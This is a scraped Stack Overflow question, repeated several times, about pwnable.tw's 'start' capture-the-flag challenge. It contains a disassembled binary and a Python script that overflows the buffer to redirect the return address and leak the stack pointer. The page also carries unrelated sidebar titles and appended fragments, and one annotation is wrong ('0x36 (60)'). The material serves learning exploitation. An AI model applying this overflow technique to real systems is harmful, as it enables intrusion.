Exploiting system calls in assemblyCalling an external command in PythonJumping to the next “instruction” using gdbBase pointer and stack pointerunable to read from file when user provides filename (x86 assembly program using nasm)execv example is segfaultingASM x86 Function call : best method to save EBP and common registers (EAX, EBX, …)NASM on linux: Using sys_read adds extra line at the endGNU Assembler sys_write is not workingC++ code for testing the Collatz conjecture faster than hand-written assembly - why?Safely Searching Virtual Address Space using NASM

USPS Back Room - Trespassing?

How does the EU Emissions Trading Scheme account for increased emissions outside the EU?

WordPress 5.2.1 deactivated my jQuery

includegraphics: get the "scale" value of a figure whose size is expressed by "width"

How to melt snow without fire or body heat?

Why did Theresa May offer a vote on a second Brexit referendum?

Why did British Steel have to borrow 120 million pounds (from the government) to cover its ETS obligations?

Should there be an "a" before "ten years imprisonment"?

Why are GND pads often only connected by four traces?

Nuke it from orbit - surely can only mean bin and buy replacement?

Which European Languages are not Indo-European?

What is the meaning of "<&3" and "done < file11 3< file22"

Take elements from a list based on two criteria

Can a person survive on blood in place of water?

The art of clickbait captions

Manager questioning my time estimates for a project

How to cut a climbing rope?

Did this character show any indication of wanting to rule before S8E6?

Gravitational Force Between Numbers

便利な工具 what does な means

Can I tell a prospective employee that everyone in the team is leaving?

My players want to grind XP but we're using milestone advancement

Is it possible to remotely hack the GPS system and disable GPS service worldwide?

Is it legal to have an abortion in another state or abroad?



Exploiting system calls in assembly


Calling an external command in PythonJumping to the next “instruction” using gdbBase pointer and stack pointerunable to read from file when user provides filename (x86 assembly program using nasm)execv example is segfaultingASM x86 Function call : best method to save EBP and common registers (EAX, EBX, …)NASM on linux: Using sys_read adds extra line at the endGNU Assembler sys_write is not workingC++ code for testing the Collatz conjecture faster than hand-written assembly - why?Safely Searching Virtual Address Space using NASM






.everyoneloves__top-leaderboard:empty,.everyoneloves__mid-leaderboard:empty,.everyoneloves__bot-mid-leaderboard:empty height:90px;width:728px;box-sizing:border-box;








0















I'm attempting to solve pwnable.tw's start challenge to learn a bit more about exploits. The provided dissassembled binary looks like this:



start: file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
8048087: 89 e1 mov ecx,esp ; buffer = $esp
8048089: b2 14 mov dl,0x14 ; count = 0x14 (20)
804808b: b3 01 mov bl,0x1 ; fd = 1 (stdout)
804808d: b0 04 mov al,0x4 ; system call = 4 (sys_write)
804808f: cd 80 int 0x80 ; call sys_write(1, $esp, 20)
8048091: 31 db xor ebx,ebx ; fd = 0 (stdin)
8048093: b2 3c mov dl,0x3c ; count = 0x36 (60)
8048095: b0 03 mov al,0x3 ; system call = 3 (sys_read)
8048097: cd 80 int 0x80 ; sys_read(0, ecx/$esp, 60)
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret

0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax


Several writeups (1, 2, and 3) point out that the solution lies in leaking the esp address that was moved into ecx by exploiting the count values on sys_write and sys_read. This way, we can force the return address to 0x8048087 so that the program will loop and print the content of esp.



However, I do not understand how this really works. What exactly do the system calls do to registers and how does that change the return address? Why does the below exploit work?



from socket import *
from struct import *

c = socket(AF_INET, SOCK_STREAM)
c.connect(('chall.pwnable.tw', 10000))

# leak esp
c.send('x' * 20 + pack('<I', 0x08048087))
esp = unpack('<I', c.recv(0x100)[:4])[0]
print 'esp = 0:08x'.format(esp)


I believe a step-by-step walkthrough that displays per-step register values could really help clarify the problem.










share|improve this question
























  • What are the calling conventions for UNIX & Linux system calls on i386 and x86-64 explains how the ABI works: ebx, ecx, edx, ... are passed (by the kernel) to its internal sys_write function which implements the Linux/POSIX write(fd, buf, len) system call. See What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code? for more about the kernel side of things, how Linux collects args and dispatches to a function pointer based on the call number in EAX.

    – Peter Cordes
    Mar 24 at 1:35












  • Re: your last paragraph: you're asking someone to single-step this program in GDB for you and write down the results? If you think that would be a useful answer, why not do it yourself? GDB's layout reg should prove useful for watching register values change. See the bottom of stackoverflow.com/tags/x86/info for GDB tips.

    – Peter Cordes
    Mar 24 at 1:37











  • @PeterCordes because I didn't know GDB could do this. Thanks for the tips, I'll post an answer if I succeed.

    – Gabriel Rebello
    Mar 24 at 1:47

















0















I'm attempting to solve pwnable.tw's start challenge to learn a bit more about exploits. The provided dissassembled binary looks like this:



start: file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
8048087: 89 e1 mov ecx,esp ; buffer = $esp
8048089: b2 14 mov dl,0x14 ; count = 0x14 (20)
804808b: b3 01 mov bl,0x1 ; fd = 1 (stdout)
804808d: b0 04 mov al,0x4 ; system call = 4 (sys_write)
804808f: cd 80 int 0x80 ; call sys_write(1, $esp, 20)
8048091: 31 db xor ebx,ebx ; fd = 0 (stdin)
8048093: b2 3c mov dl,0x3c ; count = 0x36 (60)
8048095: b0 03 mov al,0x3 ; system call = 3 (sys_read)
8048097: cd 80 int 0x80 ; sys_read(0, ecx/$esp, 60)
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret

0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax


Several writeups (1, 2, and 3) point out that the solution lies in leaking the esp address that was moved into ecx by exploiting the count values on sys_write and sys_read. This way, we can force the return address to 0x8048087 so that the program will loop and print the content of esp.



However, I do not understand how this really works. What exactly do the system calls do to registers and how does that change the return address? Why does the below exploit work?



from socket import *
from struct import *

c = socket(AF_INET, SOCK_STREAM)
c.connect(('chall.pwnable.tw', 10000))

# leak esp
c.send('x' * 20 + pack('<I', 0x08048087))
esp = unpack('<I', c.recv(0x100)[:4])[0]
print 'esp = 0:08x'.format(esp)


I believe a step-by-step walkthrough that displays per-step register values could really help clarify the problem.










share|improve this question
























  • What are the calling conventions for UNIX & Linux system calls on i386 and x86-64 explains how the ABI works: ebx, ecx, edx, ... are passed (by the kernel) to its internal sys_write function which implements the Linux/POSIX write(fd, buf, len) system call. See What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code? for more about the kernel side of things, how Linux collects args and dispatches to a function pointer based on the call number in EAX.

    – Peter Cordes
    Mar 24 at 1:35












  • Re: your last paragraph: you're asking someone to single-step this program in GDB for you and write down the results? If you think that would be a useful answer, why not do it yourself? GDB's layout reg should prove useful for watching register values change. See the bottom of stackoverflow.com/tags/x86/info for GDB tips.

    – Peter Cordes
    Mar 24 at 1:37











  • @PeterCordes because I didn't know GDB could do this. Thanks for the tips, I'll post an answer if I succeed.

    – Gabriel Rebello
    Mar 24 at 1:47













0












0








0








I'm attempting to solve pwnable.tw's start challenge to learn a bit more about exploits. The provided dissassembled binary looks like this:



start: file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
8048087: 89 e1 mov ecx,esp ; buffer = $esp
8048089: b2 14 mov dl,0x14 ; count = 0x14 (20)
804808b: b3 01 mov bl,0x1 ; fd = 1 (stdout)
804808d: b0 04 mov al,0x4 ; system call = 4 (sys_write)
804808f: cd 80 int 0x80 ; call sys_write(1, $esp, 20)
8048091: 31 db xor ebx,ebx ; fd = 0 (stdin)
8048093: b2 3c mov dl,0x3c ; count = 0x36 (60)
8048095: b0 03 mov al,0x3 ; system call = 3 (sys_read)
8048097: cd 80 int 0x80 ; sys_read(0, ecx/$esp, 60)
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret

0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax


Several writeups (1, 2, and 3) point out that the solution lies in leaking the esp address that was moved into ecx by exploiting the count values on sys_write and sys_read. This way, we can force the return address to 0x8048087 so that the program will loop and print the content of esp.



However, I do not understand how this really works. What exactly do the system calls do to registers and how does that change the return address? Why does the below exploit work?



from socket import *
from struct import *

c = socket(AF_INET, SOCK_STREAM)
c.connect(('chall.pwnable.tw', 10000))

# leak esp
c.send('x' * 20 + pack('<I', 0x08048087))
esp = unpack('<I', c.recv(0x100)[:4])[0]
print 'esp = 0:08x'.format(esp)


I believe a step-by-step walkthrough that displays per-step register values could really help clarify the problem.










share|improve this question
















I'm attempting to solve pwnable.tw's start challenge to learn a bit more about exploits. The provided dissassembled binary looks like this:



start: file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060: 54 push esp
8048061: 68 9d 80 04 08 push 0x804809d
8048066: 31 c0 xor eax,eax
8048068: 31 db xor ebx,ebx
804806a: 31 c9 xor ecx,ecx
804806c: 31 d2 xor edx,edx
804806e: 68 43 54 46 3a push 0x3a465443
8048073: 68 74 68 65 20 push 0x20656874
8048078: 68 61 72 74 20 push 0x20747261
804807d: 68 73 20 73 74 push 0x74732073
8048082: 68 4c 65 74 27 push 0x2774654c
8048087: 89 e1 mov ecx,esp ; buffer = $esp
8048089: b2 14 mov dl,0x14 ; count = 0x14 (20)
804808b: b3 01 mov bl,0x1 ; fd = 1 (stdout)
804808d: b0 04 mov al,0x4 ; system call = 4 (sys_write)
804808f: cd 80 int 0x80 ; call sys_write(1, $esp, 20)
8048091: 31 db xor ebx,ebx ; fd = 0 (stdin)
8048093: b2 3c mov dl,0x3c ; count = 0x36 (60)
8048095: b0 03 mov al,0x3 ; system call = 3 (sys_read)
8048097: cd 80 int 0x80 ; sys_read(0, ecx/$esp, 60)
8048099: 83 c4 14 add esp,0x14
804809c: c3 ret

0804809d <_exit>:
804809d: 5c pop esp
804809e: 31 c0 xor eax,eax
80480a0: 40 inc eax


Several writeups (1, 2, and 3) point out that the solution lies in leaking the esp address that was moved into ecx by exploiting the count values on sys_write and sys_read. This way, we can force the return address to 0x8048087 so that the program will loop and print the content of esp.



However, I do not understand how this really works. What exactly do the system calls do to registers and how does that change the return address? Why does the below exploit work?



from socket import *
from struct import *

c = socket(AF_INET, SOCK_STREAM)
c.connect(('chall.pwnable.tw', 10000))

# leak esp
c.send('x' * 20 + pack('<I', 0x08048087))
esp = unpack('<I', c.recv(0x100)[:4])[0]
print 'esp = 0:08x'.format(esp)


I believe a step-by-step walkthrough that displays per-step register values could really help clarify the problem.







python security assembly x86 exploit






share|improve this question















share|improve this question













share|improve this question




share|improve this question








edited Mar 24 at 1:33









Peter Cordes

141k20215356




141k20215356










asked Mar 24 at 1:06









Gabriel RebelloGabriel Rebello

5201411




5201411












  • What are the calling conventions for UNIX & Linux system calls on i386 and x86-64 explains how the ABI works: ebx, ecx, edx, ... are passed (by the kernel) to its internal sys_write function which implements the Linux/POSIX write(fd, buf, len) system call. See What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code? for more about the kernel side of things, how Linux collects args and dispatches to a function pointer based on the call number in EAX.

    – Peter Cordes
    Mar 24 at 1:35












  • Re: your last paragraph: you're asking someone to single-step this program in GDB for you and write down the results? If you think that would be a useful answer, why not do it yourself? GDB's layout reg should prove useful for watching register values change. See the bottom of stackoverflow.com/tags/x86/info for GDB tips.

    – Peter Cordes
    Mar 24 at 1:37











  • @PeterCordes because I didn't know GDB could do this. Thanks for the tips, I'll post an answer if I succeed.

    – Gabriel Rebello
    Mar 24 at 1:47

















  • What are the calling conventions for UNIX & Linux system calls on i386 and x86-64 explains how the ABI works: ebx, ecx, edx, ... are passed (by the kernel) to its internal sys_write function which implements the Linux/POSIX write(fd, buf, len) system call. See What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code? for more about the kernel side of things, how Linux collects args and dispatches to a function pointer based on the call number in EAX.

    – Peter Cordes
    Mar 24 at 1:35












  • Re: your last paragraph: you're asking someone to single-step this program in GDB for you and write down the results? If you think that would be a useful answer, why not do it yourself? GDB's layout reg should prove useful for watching register values change. See the bottom of stackoverflow.com/tags/x86/info for GDB tips.

    – Peter Cordes
    Mar 24 at 1:37











  • @PeterCordes because I didn't know GDB could do this. Thanks for the tips, I'll post an answer if I succeed.

    – Gabriel Rebello
    Mar 24 at 1:47
















What are the calling conventions for UNIX & Linux system calls on i386 and x86-64 explains how the ABI works: ebx, ecx, edx, ... are passed (by the kernel) to its internal sys_write function which implements the Linux/POSIX write(fd, buf, len) system call. See What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code? for more about the kernel side of things, how Linux collects args and dispatches to a function pointer based on the call number in EAX.

– Peter Cordes
Mar 24 at 1:35






What are the calling conventions for UNIX & Linux system calls on i386 and x86-64 explains how the ABI works: ebx, ecx, edx, ... are passed (by the kernel) to its internal sys_write function which implements the Linux/POSIX write(fd, buf, len) system call. See What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code? for more about the kernel side of things, how Linux collects args and dispatches to a function pointer based on the call number in EAX.

– Peter Cordes
Mar 24 at 1:35














Re: your last paragraph: you're asking someone to single-step this program in GDB for you and write down the results? If you think that would be a useful answer, why not do it yourself? GDB's layout reg should prove useful for watching register values change. See the bottom of stackoverflow.com/tags/x86/info for GDB tips.

– Peter Cordes
Mar 24 at 1:37





Re: your last paragraph: you're asking someone to single-step this program in GDB for you and write down the results? If you think that would be a useful answer, why not do it yourself? GDB's layout reg should prove useful for watching register values change. See the bottom of stackoverflow.com/tags/x86/info for GDB tips.

– Peter Cordes
Mar 24 at 1:37













@PeterCordes because I didn't know GDB could do this. Thanks for the tips, I'll post an answer if I succeed.

– Gabriel Rebello
Mar 24 at 1:47





@PeterCordes because I didn't know GDB could do this. Thanks for the tips, I'll post an answer if I succeed.

– Gabriel Rebello
Mar 24 at 1:47












0






active

oldest

votes












Your Answer






StackExchange.ifUsing("editor", function ()
StackExchange.using("externalEditor", function ()
StackExchange.using("snippets", function ()
StackExchange.snippets.init();
);
);
, "code-snippets");

StackExchange.ready(function()
var channelOptions =
tags: "".split(" "),
id: "1"
;
initTagRenderer("".split(" "), "".split(" "), channelOptions);

StackExchange.using("externalEditor", function()
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled)
StackExchange.using("snippets", function()
createEditor();
);

else
createEditor();

);

function createEditor()
StackExchange.prepareEditor(
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: true,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: 10,
bindNavPrevention: true,
postfix: "",
imageUploader:
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
,
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
);



);













draft saved

draft discarded


















StackExchange.ready(
function ()
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f55319849%2fexploiting-system-calls-in-assembly%23new-answer', 'question_page');

);

Post as a guest















Required, but never shown

























0






active

oldest

votes








0






active

oldest

votes









active

oldest

votes






active

oldest

votes















draft saved

draft discarded
















































Thanks for contributing an answer to Stack Overflow!


  • Please be sure to answer the question. Provide details and share your research!

But avoid


  • Asking for help, clarification, or responding to other answers.

  • Making statements based on opinion; back them up with references or personal experience.

To learn more, see our tips on writing great answers.




draft saved


draft discarded














StackExchange.ready(
function ()
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f55319849%2fexploiting-system-calls-in-assembly%23new-answer', 'question_page');

);

Post as a guest















Required, but never shown





















































Required, but never shown














Required, but never shown












Required, but never shown







Required, but never shown

































Required, but never shown














Required, but never shown












Required, but never shown







Required, but never shown







Popular posts from this blog

Kamusi Yaliyomo Aina za kamusi | Muundo wa kamusi | Faida za kamusi | Dhima ya picha katika kamusi | Marejeo | Tazama pia | Viungo vya nje | UrambazajiKuhusu kamusiGo-SwahiliWiki-KamusiKamusi ya Kiswahili na Kiingerezakuihariri na kuongeza habari

SQL error code 1064 with creating Laravel foreign keysForeign key constraints: When to use ON UPDATE and ON DELETEDropping column with foreign key Laravel error: General error: 1025 Error on renameLaravel SQL Can't create tableLaravel Migration foreign key errorLaravel php artisan migrate:refresh giving a syntax errorSQLSTATE[42S01]: Base table or view already exists or Base table or view already exists: 1050 Tableerror in migrating laravel file to xampp serverSyntax error or access violation: 1064:syntax to use near 'unsigned not null, modelName varchar(191) not null, title varchar(191) not nLaravel cannot create new table field in mysqlLaravel 5.7:Last migration creates table but is not registered in the migration table

은진 송씨 목차 역사 본관 분파 인물 조선 왕실과의 인척 관계 집성촌 항렬자 인구 같이 보기 각주 둘러보기 메뉴은진 송씨세종실록 149권, 지리지 충청도 공주목 은진현